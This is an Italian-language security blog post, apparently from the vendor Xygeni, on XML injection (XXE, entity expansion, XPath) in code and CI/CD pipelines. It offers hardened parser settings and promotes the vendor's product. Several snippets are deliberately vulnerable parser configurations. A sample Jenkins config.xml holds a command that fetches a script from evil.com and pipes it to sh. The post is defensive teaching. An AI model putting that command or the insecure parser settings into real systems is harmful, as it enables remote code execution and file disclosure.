Come l'iniezione XML trasforma i parser in superfici di attacco
Gli sviluppatori spesso non si rendono conto di quanto facilmente l'iniezione XML possa compromettere i loro sistemi. Se vi chiedete come prevenire l'iniezione XML, il primo passo è sapere dove si manifesta. Per impostazione predefinita, molti parser XML nei linguaggi di programmazione moderni sono vulnerabili. Quando si passa un input controllato dall'utente a questi parser, soprattutto senza un'adeguata protezione, si trasforma un processore XML di base in un vettore di attacco.
Questo è ciò che rende l'iniezione XML così pericolosa: non si basa su bug nel codice. Sfrutta la configurazione del parser, o la sua configurazione errata. Capire cosa significa imparare come funzionalità come la risoluzione delle entità, i DTD esterni e l'analisi XPath diventano rischiose.
Non è necessario analizzare l'XML in modo esplicito. L'iniezione viene visualizzata nei file di configurazione, pipeline definizioni, artefatti di test e strumenti di terze parti. Se il tuo CI/CD o se lo stack dell'app include XML, è necessario sapere come prevenirlo prima che diventi un problema nella supply chain.
Vettori di attacco reali di iniezione XML nel codice e Pipelines
Vulnerabilità XML reali che gli sviluppatori non colgono
iniezione XML spesso non viene rilevato perché si nasconde in percorsi di codice attendibili:
- Espansione dell'entità (miliardi di risate): Sfrutta la ricorsione del parser per bloccare i sistemi.
- Entità esterne (XXE): Legge i file o accede ai servizi interni.
- Iniezione XPath: Manipola la logica nelle query basate su XML.
Esempio Python (rischio XXE)
⚠️Attenzione: Questo codice consente la risoluzione di entità esterne, rendendolo vulnerabile agli attacchi XXE.
from lxml import etree parser = etree.XMLParser(resolve_entities=True) xml = etree.fromstring(user_input, parser) Esempio Java (espansione dell'entità)
⚠️Attenzione: Questo parser utilizza impostazioni predefinite non sicure che possono essere sfruttate.
SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.parse(inputStream, handler); CI/CD Esempio:
⚠️Attenzione: Iniezione di XML non sicuro in pipeline le configurazioni possono portare allo sfruttamento.
<!-- Malicious Jenkins config.xml snippet --> <project> <builders> <hudson.tasks.Shell> <command>wget http://evil.com/payload.sh | sh</command> </hudson.tasks.Shell> </builders> </project> Se questi input non vengono sanificati, si apre la porta all'iniezione XML all'interno dello stack di automazione.
Perché le librerie XML predefinite mettono il tuo CI/CD a rischio
La maggior parte degli sviluppatori non sa come prevenire l'iniezione XML perché non si rende conto che i propri strumenti utilizzano XML. Strumenti popolari come Maven, Jenkins e vari framework di deployment si basano ancora ampiamente su XML.
CI/CD Punti di iniezione:
- Maven's pom.xml
- Configurazioni del lavoro Jenkins (config.xml)
- Risorse personalizzate Kubernetes basate su XML
- Esecutori di test Python o Java che si basano su report XML
Ciò che rende la situazione ancora peggiore è che molte librerie open source utilizzano parser XML con impostazioni predefinite non sicure, rendendo gli attacchi di iniezione XML un rischio reale.
⚠️ Attenzione: Alcuni pipelineanalizza automaticamente l'XML da input non attendibili (ad esempio, caricamenti di artefatti).
Una volta analizzato, l'XML con costrutti pericolosi può:
- Accedi ai file interni
- Attiva chiamate remote
- Modificare il comportamento lavorativo
Non sei solo esposto, stai trasmettendo una superficie di attacco su ogni pipeline eseguire.
⚠️Attenzione: Sia la serializzazione che la deserializzazione descritte di seguito gestiscono dati potenzialmente non attendibili senza convalida.
Come prevenire l'iniezione con configurazioni di parser sicure
Pratiche sicure: come prevenire le iniezioni
Per interrompere l'iniezione, è necessario rafforzare il parser XML prima che elabori qualsiasi input.
Java
// Secure XML parser config SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); Python
# Safe alternative to vulnerable XML parsers from defusedxml.ElementTree import fromstring xml = fromstring(user_input) # Safe from XXE and entity expansion CI/CD Pipeline
- name: Scan XML inputs for DTDs run: | grep -r '<!DOCTYPE' . || echo "No unsafe XML detected" La migliore pratica: Esaminare sempre e rifiutare l'XML che utilizza dichiarazioni DOCTYPE o ENTITY, a meno che non sia esplicitamente necessario. Queste tecniche sono essenziali se si desidera interrompere l'iniezione e proteggi il tuo ciclo di vita DevOps.
Dalle configurazioni errate al rischio della supply chain: il ruolo di Xygeni
Non puoi fermare l'iniezione XML se non sai dove viene elaborato il tuo XML. Ecco dove Xygeni fa la differenza.
Xygeni aiuta i team a:
- Mappare l'utilizzo di XML tra basi di codice, build e ambienti di runtime
- Rileva configurazioni di parser non sicure e gestione rischiosa dei file XML
- Identificare i pacchetti di terze parti che introducono l'analisi XML in modo silenzioso
- Incorpora policy di convalida XML sicure direttamente in CI/CD pipelines
Non si tratta solo di correggere un parser. Si tratta di assicurarsi di non doversi più chiedere come si è potuto perdere un vettore XML di iniezione.
Blocco dei parser: come prevenire l'iniezione XML ovunque
L'iniezione XML è una seria minaccia, anche se non si lavora direttamente con XML. Spesso entra attraverso impostazioni predefinite, pacchetti di terze parti e parti trascurate del tuo pipeline.
Per difendersi:
- Scopri come e dove XML viene analizzato nel tuo stack
- Applicare configurazioni rafforzate e schemi convalidati
- Monitorare pipelines per strutture XML non sicure
- Utilizzare Xygeni per rilevare, tracciare e correggere l'esposizione all'iniezione prima del rilascio
Se fai sul serio Informazioni su DevSecOps, devi prendere sul serio l'iniezione. E devi sapere come prevenire l'iniezione XML in ogni livello del tuo stack. Proteggi il tuo XML. Proteggi il tuo pipelines. Eliminare il rischio di iniezione XML.
